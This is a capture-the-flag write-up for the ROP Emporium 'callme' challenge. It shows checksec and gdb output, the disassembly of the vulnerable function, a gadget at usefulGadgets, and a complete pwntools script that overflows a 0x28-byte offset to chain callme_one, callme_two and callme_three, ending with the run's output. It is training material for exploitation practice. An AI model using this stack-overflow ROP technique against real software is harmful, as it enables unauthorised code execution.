Post

callme

callme

Exploration

1
2
3
4
5
6
7
8
9
$ checksec callme
[*] '/home/ctf/ctf/ropemporium/callme/callme'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'.'
    Stripped:   No

The binary likely has a buffer overflow.

On the site, there’s a warning that warns against using call instructions already in the binary. Since I wasn’t using those beforehand, it didn’t really matter to me.

Based on the instructions of the website, we know that we’ll need gadgets to pass in three arguments and chain them all in a row. Let’s look at the functions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x00000000004006a8  _init
0x00000000004006d0  puts@plt
0x00000000004006e0  printf@plt
0x00000000004006f0  callme_three@plt
0x0000000000400700  memset@plt
0x0000000000400710  read@plt
0x0000000000400720  callme_one@plt
0x0000000000400730  setvbuf@plt
0x0000000000400740  callme_two@plt
0x0000000000400750  exit@plt
0x0000000000400760  _start
0x0000000000400790  _dl_relocate_static_pie
0x00000000004007a0  deregister_tm_clones
0x00000000004007d0  register_tm_clones
0x0000000000400810  __do_global_dtors_aux
0x0000000000400840  frame_dummy
0x0000000000400847  main
0x0000000000400898  pwnme
0x00000000004008f2  usefulFunction
0x000000000040093c  usefulGadgets
0x0000000000400940  __libc_csu_init
0x00000000004009b0  __libc_csu_fini
0x00000000004009b4  _fini

We can see pwnme, usefulFunction, and usefulGadgets. Like before, usefulFunction is only used in a testing payload, not the final one.

Finding the vulnerability and offset (pwnme)

The offset will always be 0x28 (40) for the x86-64 version of these problems.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
(gdb) disassemble pwnme
Dump of assembler code for function pwnme:
   0x0000000000400898 <+0>:     push   rbp
   0x0000000000400899 <+1>:     mov    rbp,rsp
   0x000000000040089c <+4>:     sub    rsp,0x20
   0x00000000004008a0 <+8>:     lea    rax,[rbp-0x20]
   0x00000000004008a4 <+12>:    mov    edx,0x20
   0x00000000004008a9 <+17>:    mov    esi,0x0
   0x00000000004008ae <+22>:    mov    rdi,rax
   0x00000000004008b1 <+25>:    call   0x400700 <memset@plt>
   0x00000000004008b6 <+30>:    mov    edi,0x4009f0
   0x00000000004008bb <+35>:    call   0x4006d0 <puts@plt>
   0x00000000004008c0 <+40>:    mov    edi,0x400a13
   0x00000000004008c5 <+45>:    mov    eax,0x0
   0x00000000004008ca <+50>:    call   0x4006e0 <printf@plt>
   0x00000000004008cf <+55>:    lea    rax,[rbp-0x20]
   0x00000000004008d3 <+59>:    mov    edx,0x200
   0x00000000004008d8 <+64>:    mov    rsi,rax
   0x00000000004008db <+67>:    mov    edi,0x0
   0x00000000004008e0 <+72>:    call   0x400710 <read@plt>
   0x00000000004008e5 <+77>:    mov    edi,0x400a16
   0x00000000004008ea <+82>:    call   0x4006d0 <puts@plt>
   0x00000000004008ef <+87>:    nop
   0x00000000004008f0 <+88>:    leave
   0x00000000004008f1 <+89>:    ret

Like before, there is a buffer overflow.

However, it is interesting to note that here, read reads in 0x200 (512) bytes, much more than last time.

Gadgets (usefulGadgets)

1
2
3
4
5
6
7
(gdb) disassemble usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x000000000040093c <+0>:     pop    rdi
   0x000000000040093d <+1>:     pop    rsi
   0x000000000040093e <+2>:     pop    rdx
   0x000000000040093f <+3>:     ret
End of assembler dump.

This function provides a way to insert data into the first three arguments. It also contains a ret if we needed it for movabs, but we don’t for this binary.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3

from pwn import *

exe = ELF("./callme")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r


def main():
    r = conn()

    # good luck pwning :)
    offset = 0x28
    ret = 0x40093f
    rdi_rsi_rdx = 0x40093c
    payload = flat({
        offset: [
            rdi_rsi_rdx,
            0xdeadbeefdeadbeef,
            0xcafebabecafebabe,
            0xd00df00dd00df00d,
            exe.plt["callme_one"],
            rdi_rsi_rdx,
            0xdeadbeefdeadbeef,
            0xcafebabecafebabe,
            0xd00df00dd00df00d,
            exe.plt["callme_two"],
            rdi_rsi_rdx,
            0xdeadbeefdeadbeef,
            0xcafebabecafebabe,
            0xd00df00dd00df00d,
            exe.plt["callme_three"],
        ]
    })
    print("payload len:", hex(len(payload)))
    r.sendline(payload)

    r.interactive()


if __name__ == "__main__":
    main()

Running

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ./solve.py LOCAL
[*] '/home/ctf/ctf/ropemporium/callme/callme'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'.'
    Stripped:   No
[+] Starting local process '/home/ctf/ctf/ropemporium/callme/callme': pid 86554
payload len: 0xa0

ROPE{a_placeholder_32byte_flag!}
This post is licensed under CC BY 4.0 by the author.